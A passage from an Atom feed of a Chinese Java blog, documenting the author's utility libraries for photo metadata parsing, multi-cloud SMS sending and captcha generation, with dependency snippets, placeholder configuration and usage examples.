    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
  </entry>
  
  <entry>
    <title>allbs工具类说明 - 照片解析</title>
    <link href="https://blog.allbs.cn/posts/2878/"/>
    <id>https://blog.allbs.cn/posts/2878/</id>
    <published>2022-04-17T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<h2 id="依赖jar包">依赖jar包</h2><table><thead><tr><th>引入包</th><th>版本</th></tr></thead><tbody><tr><td>jdk</td><td>1.8</td></tr><tr><td>spring boot</td><td>2.7.2</td></tr><tr><td>xmpcore</td><td>6.1.11</td></tr></tbody></table><h2 id="使用">使用</h2><h3 id="添加依赖">添加依赖</h3><h4 id="maven">maven</h4><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-metadata<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.1.5<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><h4 id="Gradle">Gradle</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation &#x27;cn.allbs:allbs-metadata:1.1.5&#x27;</span><br></pre></td></tr></table></figure><h4 id="Kotlin">Kotlin</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation(&quot;cn.allbs:allbs-metadata:1.1.5&quot;)</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">allbs工具类说明 - 照片解析</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
  </entry>
  
  <entry>
    <title>allbs工具类说明 - 短信推送</title>
    <link href="https://blog.allbs.cn/posts/23580/"/>
    <id>https://blog.allbs.cn/posts/23580/</id>
    <published>2022-04-17T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<h2 id="依赖jar包">依赖jar包</h2><table><thead><tr><th>引入包</th><th>版本</th></tr></thead><tbody><tr><td>jdk</td><td>1.8</td></tr><tr><td>spring boot</td><td>2.7.2</td></tr><tr><td>spring-boot-autoconfigure</td><td>2.7.2</td></tr><tr><td>gson</td><td>2.10</td></tr><tr><td>commons-pool2</td><td>2.11.1</td></tr><tr><td>httpclient</td><td>4.5.13</td></tr></tbody></table><h2 id="使用">使用</h2><h3 id="添加依赖">添加依赖</h3><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-sms<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>2.0.1<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- 使用阿里云短信发送服务映引入 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.aliyun<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>dysmsapi20170525<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>$&#123;alibabacloud.version&#125;<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- 使用腾讯云短信发送服务映引入 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.tencentcloudapi<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>tencentcloud-sdk-java<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>$&#123;tencent.version&#125;<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="添加配置">添加配置</h3><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">sms:</span></span><br><span class="line">  <span class="comment"># 华为云 如果不使用华为云的短信服务可以不用配置</span></span><br><span class="line">  <span class="attr">huawei:</span></span><br><span class="line">    <span class="attr">enable:</span> <span class="literal">true</span></span><br><span class="line">    <span class="attr">end-point:</span> <span class="string">https://rtcsms.cn-north-1.myhuaweicloud.com:10743/sms/batchSendSms/v1</span></span><br><span class="line">    <span class="attr">app-key:</span> <span class="string">xxxxxxxxxxxxxxxxxx</span></span><br><span class="line">    <span class="attr">app-secret:</span> <span class="string">xxxxxxxxxxxxxx</span></span><br><span class="line">    <span class="attr">templates:</span></span><br><span class="line">      <span class="attr">ff23bc1c9ed64a3b94044369c4de4933:</span></span><br><span class="line">        <span class="attr">sign-name:</span> <span class="string">签名名称</span></span><br><span class="line">        <span class="attr">sdk-app-id:</span> <span class="number">8820112313636</span></span><br><span class="line">  <span class="comment"># 阿里云 如果不使用阿里云的短信服务可以不用配置</span></span><br><span class="line">  <span class="attr">ali:</span></span><br><span class="line">    <span class="attr">enable:</span> <span class="literal">true</span></span><br><span class="line">    <span class="attr">end-point:</span> <span class="string">xxxxxxxxxx</span></span><br><span class="line">    <span class="attr">app-key:</span> <span class="string">xxxx</span></span><br><span class="line">    <span class="attr">app-secret:</span> <span class="string">xxxxx</span></span><br><span class="line">    <span class="attr">templates:</span></span><br><span class="line">      <span class="attr">xxxxxxxxxxxxxxxxxxxxxxxx:</span></span><br><span class="line">        <span class="attr">sign-name:</span> <span class="string">签名名称</span></span><br><span class="line">  <span class="comment"># 腾讯云 如果不使用腾讯云的短信服务可以不用配置</span></span><br><span class="line">  <span class="attr">tx:</span></span><br><span class="line">    <span class="attr">enable:</span> <span class="literal">true</span></span><br><span class="line">    <span class="attr">end-point:</span> <span class="string">xxxxx</span></span><br><span class="line">    <span class="attr">app-key:</span> <span class="string">xxxxxxxxxx</span></span><br><span class="line">    <span class="attr">app-secret:</span> <span class="string">xxxxxxxxxxx</span></span><br><span class="line">    <span class="attr">templates:</span></span><br><span class="line">      <span class="attr">xxxxxxxxxxxxxxxx:</span></span><br><span class="line">        <span class="attr">sign-name:</span> <span class="string">xxxxxxxxxxxx</span></span><br><span class="line">      <span class="attr">xxxxxxxxxxxxxxxx-2:</span></span><br><span class="line">        <span class="attr">sign-name:</span> <span class="string">xxxxxxxxxxxxxx</span></span><br></pre></td></tr></table></figure><h3 id="引入发送端">引入发送端</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 华为云客户端 不使用不要引入</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Resource</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">final</span> HuaWeiYunClient huaWeiYunClient;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 阿里云客户端 不使用不要引入</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Resource</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">final</span> AliYunClient aliYunClient;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 腾讯云客户端 不使用不要引入</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Resource</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">final</span> TencentCloudClient tencentCloudClient;</span><br></pre></td></tr></table></figure><h3 id="推送短信">推送短信</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 短信推送模板ID</span></span><br><span class="line"><span class="type">String</span> <span class="variable">templateId</span> <span class="operator">=</span> <span class="string">&quot;ff23bc1c9ed64a3b94044369c4de4933&quot;</span>;</span><br><span class="line">Map&lt;String, String&gt; params = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">2</span>);</span><br><span class="line">params.put(<span class="string">&quot;1&quot;</span>, <span class="string">&quot;Allbs&quot;</span>);</span><br><span class="line">params.put(<span class="string">&quot;2&quot;</span>, <span class="string">&quot;模拟测试&quot;</span>);</span><br><span class="line"><span class="keyword">return</span> huaWeiYunClient.send(templateId, params, <span class="string">&quot;18066081000&quot;</span>, <span class="string">&quot;18066081001&quot;</span>);</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">本文封装的是华为云短信推送平台</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
  </entry>
  
  <entry>
    <title>allbs工具类说明 - 验证码</title>
    <link href="https://blog.allbs.cn/posts/38700/"/>
    <id>https://blog.allbs.cn/posts/38700/</id>
    <published>2022-04-17T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<h2 id="依赖jar包">依赖jar包</h2><table><thead><tr><th>引入包</th><th>版本</th></tr></thead><tbody><tr><td>jdk</td><td>1.8</td></tr><tr><td>spring boot</td><td>2.7.2</td></tr><tr><td>aviator</td><td>5.3.1</td></tr><tr><td>spring-boot-starter-web</td><td>2.7.2</td></tr></tbody></table><h2 id="使用">使用</h2><h3 id="添加依赖">添加依赖</h3><div class="tabs"><div class="nav-tabs"><button type="button" class="tab active">maven</button><button type="button" class="tab">Gradle</button><button type="button" class="tab">Kotlin</button></div><div class="tab-contents"><div class="tab-item-content active"><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-captcha<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.1.8<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation &#x27;cn.allbs:allbs-captcha:1.1.8&#x27;</span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation(&quot;cn.allbs:allbs-captcha:1.1.8&quot;)</span><br></pre></td></tr></table></figure></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="fas fa-arrow-up"></i></button></div></div><h3 id="构建CaptchaDetails">构建CaptchaDetails</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">CaptchaDetails</span> <span class="variable">captchaInfo</span> <span class="operator">=</span> CaptchaInfo.builder().build();</span><br></pre></td></tr></table></figure><h3 id="属性说明">属性说明</h3><table><thead><tr><th>属性</th><th>说明</th></tr></thead><tbody><tr><td>len</td><td>验证码的字符个数 默认4</td></tr><tr><td>width</td><td>验证码图片的宽度 默认130</td></tr><tr><td>height</td><td>验证码图片默认的宽度 默认38</td></tr><tr><td>font</td><td>验证码默认的字体Arial 加粗 32px 系统提供10种默认子图可通过 FontEnum.rFont(fontType, 32f)的方式创建</td></tr><tr><td>color</td><td>验证码默认的背景色 默认为白色</td></tr><tr><td>type</td><td>验证码的类型 默认为数字字符混合</td></tr><tr><td>interfereCount</td><td>干扰个数 默认15</td></tr><tr><td>imageType</td><td>图片的类型 默认为gif  图片类型定义在ImageEnum中 1为png，2为jpg，3为gif</td></tr></tbody></table><h3 id="fontType-对应情况">fontType 对应情况</h3><blockquote><p>部分字体会导致小写字母变为大写</p></blockquote><table><thead><tr><th style="text-align:left">fontType</th><th style="text-align:left">字体名称</th><th style="text-align:left">字体</th><th style="text-align:left">效果</th></tr></thead><tbody><tr><td style="text-align:left">0</td><td style="text-align:left">actionj</td><td style="text-align:left">FontEnum.FONT_1</td><td style="text-align:left"><img src="https://s2.ax1x.com/2019/08/23/msMe6U.png" alt=""></td></tr><tr><td style="text-align:left">1</td><td style="text-align:left">epilog</td><td style="text-align:left">FontEnum.FONT_2</td><td style="text-align:left"><img src="https://s2.ax1x.com/2019/08/23/msMAf0.png" alt=""></td></tr><tr><td style="text-align:left">2</td><td style="text-align:left">fresnel</td><td style="text-align:left">FontEnum.FONT_3</td><td style="text-align:left"><img src="https://s2.ax1x.com/2019/08/23/msMCwj.png" alt=""></td></tr><tr><td style="text-align:left">3</td><td style="text-align:left">headache</td><td style="text-align:left">FontEnum.FONT_4</td><td style="text-align:left"><img src="https://s2.ax1x.com/2019/08/23/msM9mQ.png" alt=""></td></tr><tr><td style="text-align:left">4</td><td style="text-align:left">lexo</td><td style="text-align:left">FontEnum.FONT_5</td><td style="text-align:left"><img src="https://s2.ax1x.com/2019/08/23/msKz6S.png" alt=""></td></tr><tr><td style="text-align:left">5</td><td style="text-align:left">prefix</td><td style="text-align:left">FontEnum.FONT_6</td><td style="text-align:left"><img src="https://s2.ax1x.com/2019/08/23/msKxl8.png" alt=""></td></tr><tr><td style="text-align:left">6</td><td style="text-align:left">progbot</td><td style="text-align:left">FontEnum.FONT_7</td><td style="text-align:left"><img src="https://s2.ax1x.com/2019/08/23/msMPTs.png" alt=""></td></tr><tr><td style="text-align:left">7</td><td style="text-align:left">ransom</td><td style="text-align:left">FontEnum.FONT_8</td><td style="text-align:left"><img src="https://s2.ax1x.com/2019/08/23/msMmXF.png" alt=""></td></tr><tr><td style="text-align:left">8</td><td style="text-align:left">robot</td><td style="text-align:left">FontEnum.FONT_9</td><td style="text-align:left"><img src="https://s2.ax1x.com/2019/08/23/msMVpV.png" alt=""></td></tr><tr><td style="text-align:left">9</td><td style="text-align:left">scandal</td><td style="text-align:left">FontEnum.FONT_10</td><td style="text-align:left"><img src="https://s2.ax1x.com/2019/08/23/msMZlT.png" alt=""></td></tr></tbody></table><h3 id="传入构建的CaptchaDetails和HttpServletResponse">传入构建的CaptchaDetails和HttpServletResponse</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">CaptchaUtil.captcha(captchaInfo, response)</span><br><span class="line">    </span><br><span class="line"># 或者</span><br><span class="line"><span class="type">CaptchaDetails</span> <span class="variable">captchaInfo</span> <span class="operator">=</span> CaptchaInfo.builder()</span><br><span class="line">                .size(<span class="number">4</span>, <span class="number">130</span>, <span class="number">38</span>)</span><br><span class="line">                .build();</span><br><span class="line"><span class="type">AbstractCaptcha</span> <span class="variable">captcha</span> <span class="operator">=</span> CaptchaUtil.captcha(captchaInfo);</span><br><span class="line">captcha.create();</span><br><span class="line">captcha.write(response.getOutputStream());</span><br><span class="line"></span><br><span class="line"># 中文字符构建方式</span><br><span class="line"><span class="type">CaptchaDetails</span> <span class="variable">captchaInfo</span> <span class="operator">=</span> ChineseCaptchaInfo.builder()</span><br><span class="line">                .size(<span class="number">4</span>, <span class="number">130</span>, <span class="number">38</span>)</span><br><span class="line">                .build();</span><br><span class="line"><span class="type">AbstractCaptcha</span> <span class="variable">captcha</span> <span class="operator">=</span> CaptchaUtil.captcha(captchaInfo);</span><br><span class="line">captcha.create();</span><br><span class="line">captcha.write(response.getOutputStream());</span><br></pre></td></tr></table></figure><h3 id="使用示例">使用示例</h3><h4 id="纯数字">纯数字</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">CaptchaDetails</span> <span class="variable">captchaInfo</span> <span class="operator">=</span> CaptchaInfo.builder()</span><br><span class="line">                .size(<span class="number">4</span>, <span class="number">130</span>, <span class="number">38</span>)</span><br><span class="line">                .type(CaptchaEnum.ONLY_NUMBER.getType())</span><br><span class="line">                .font(FontEnum.rFont(<span class="number">1</span>, <span class="number">32f</span>))</span><br><span class="line">                .build();</span><br><span class="line"><span class="type">AbstractCaptcha</span> <span class="variable">captcha</span> <span class="operator">=</span> CaptchaUtil.captcha(captchaInfo);</span><br><span class="line">captcha.create();</span><br><span class="line">captcha.getImage();</span><br><span class="line">captcha.write(response.getOutputStream());</span><br><span class="line"># 此次验证码内容</span><br><span class="line">captcha.getText()</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2021/11/a8916616b9b3410180f79b0edd540df8.gif" alt=""></p><h4 id="数字字母混合">数字字母混合</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">CaptchaDetails</span> <span class="variable">captchaInfo</span> <span class="operator">=</span> CaptchaInfo.builder()</span><br><span class="line">                .size(<span class="number">4</span>, <span class="number">130</span>, <span class="number">38</span>)</span><br><span class="line">                .type(CaptchaEnum.NUMBER_CHAR_MIXTURE.getType())</span><br><span class="line">                .font(FontEnum.rFont(<span class="number">10</span>, <span class="number">32f</span>))</span><br><span class="line">                .build();</span><br><span class="line"><span class="type">String</span> <span class="variable">code</span> <span class="operator">=</span> CaptchaUtil.captcha(captchaInfo, response);</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2021/11/8469ec01f769a4dd39c11162d80f274c.gif" alt=""></p><h4 id="纯字母">纯字母</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">CaptchaDetails</span> <span class="variable">captchaInfo</span> <span class="operator">=</span> CaptchaInfo.builder()</span><br><span class="line">                .size(<span class="number">4</span>, <span class="number">130</span>, <span class="number">38</span>)</span><br><span class="line">                .type(CaptchaEnum.ONLY_CHAR.getType())</span><br><span class="line">                .font(FontEnum.rFont(<span class="number">2</span>, <span class="number">32f</span>))</span><br><span class="line">                .build();</span><br><span class="line"><span class="type">String</span> <span class="variable">code</span> <span class="operator">=</span> CaptchaUtil.captcha(captchaInfo, response);</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2021/11/1f92c973b9cf2be2666227098e3dc9ae.gif" alt=""></p><h4 id="纯大写字母">纯大写字母</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">CaptchaDetails</span> <span class="variable">captchaInfo</span> <span class="operator">=</span> CaptchaInfo.builder()</span><br><span class="line">                .size(<span class="number">4</span>, <span class="number">130</span>, <span class="number">38</span>)</span><br><span class="line">                .type(CaptchaEnum.ONLY_UPPER_CHAR.getType())</span><br><span class="line">                .font(FontEnum.rFont(<span class="number">3</span>, <span class="number">32f</span>))</span><br><span class="line">                .build();</span><br><span class="line"><span class="type">String</span> <span class="variable">code</span> <span class="operator">=</span> CaptchaUtil.captcha(captchaInfo, response);</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2021/11/4cf4f7e2d0242d5e4628adc115782eee.png" alt=""></p><h4 id="纯小写字母并输出到文件">纯小写字母并输出到文件</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">CaptchaDetails</span> <span class="variable">captchaInfo</span> <span class="operator">=</span> CaptchaInfo.builder()</span><br><span class="line">                .font(<span class="keyword">new</span> <span class="title class_">Font</span>(<span class="string">&quot;微软雅黑&quot;</span>, Font.BOLD, <span class="number">24</span>))</span><br><span class="line">                .size(<span class="number">5</span>, <span class="number">130</span>, <span class="number">38</span>)</span><br><span class="line">                .type(CaptchaEnum.ONLY_LOWER_CHAR.getType())</span><br><span class="line">                .imageType(ImageEnum.JPG.getType())</span><br><span class="line">                .color(<span class="keyword">new</span> <span class="title class_">Color</span>(<span class="number">234</span>, <span class="number">254</span>, <span class="number">222</span>))</span><br><span class="line">                .build();</span><br><span class="line"><span class="type">AbstractCaptcha</span> <span class="variable">captcha</span> <span class="operator">=</span> CaptchaUtil.captcha(captchaInfo);</span><br><span class="line">        captcha.create();</span><br><span class="line"><span class="type">File</span> <span class="variable">file</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">File</span>(<span class="string">&quot;D://lower.jpg&quot;</span>);</span><br><span class="line"><span class="keyword">if</span> (!file.exists()) &#123;</span><br><span class="line">    file.createNewFile();</span><br><span class="line">&#125;</span><br><span class="line">captcha.write(file);</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2021/11/821c6970c1f2f388870165f95e9dddf0.jpg" alt="纯小写字母"></p><h4 id="数字计算-默认两个数字计算，修改size中的len可增加参与计算数字">数字计算(默认两个数字计算，修改size中的len可增加参与计算数字)</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">CaptchaDetails</span> <span class="variable">captchaInfo</span> <span class="operator">=</span> CaptchaInfo.builder()</span><br><span class="line">                .font(FontEnum.rFont(<span class="number">4</span>, <span class="number">32f</span>))</span><br><span class="line">                .size(<span class="number">2</span>, <span class="number">130</span>, <span class="number">38</span>)</span><br><span class="line">                .type(CaptchaEnum.NUMBER_COUNT.getType())</span><br><span class="line">                .imageType(ImageEnum.GIF.getType())</span><br><span class="line">                .color(Color.CYAN)</span><br><span class="line">                .build();</span><br><span class="line"><span class="type">AbstractCaptcha</span> <span class="variable">captcha</span> <span class="operator">=</span> CaptchaUtil.captcha(captchaInfo);</span><br><span class="line">captcha.create();</span><br><span class="line">captcha.write(response.getOutputStream());</span><br><span class="line">System.out.println(captcha.getText());</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2021/11/1bcf09d2eca7bd2b9f07f27b978d0c3a.gif" alt=""></p><h4 id="中文验证码">中文验证码</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">CaptchaDetails</span> <span class="variable">captchaInfo</span> <span class="operator">=</span> ChineseCaptchaInfo.builder()</span><br><span class="line">                .font(<span class="keyword">new</span> <span class="title class_">Font</span>(<span class="string">&quot;黑体&quot;</span>, Font.BOLD, <span class="number">24</span>))</span><br><span class="line">                .imageType(ImageEnum.GIF.getType())</span><br><span class="line">                .color(Color.CYAN)</span><br><span class="line">                .build();</span><br><span class="line"><span class="type">AbstractCaptcha</span> <span class="variable">captcha</span> <span class="operator">=</span> CaptchaUtil.captcha(captchaInfo);</span><br><span class="line">captcha.create();</span><br><span class="line">captcha.write(response.getOutputStream());</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2021/11/1ba65bacf8bf990c945a11f6e8f55472.gif" alt="汉字验证码"></p>]]></content>
    
    
    <summary type="html">allbs工具类说明 - 验证码</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="验证码" scheme="https://blog.allbs.cn/tags/%E9%AA%8C%E8%AF%81%E7%A0%81/"/>
    
  </entry>
  
  <entry>
    <title>java8时间工具类</title>
    <link href="https://blog.allbs.cn/posts/619/"/>
    <id>https://blog.allbs.cn/posts/619/</id>
    <published>2022-04-01T01:00:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
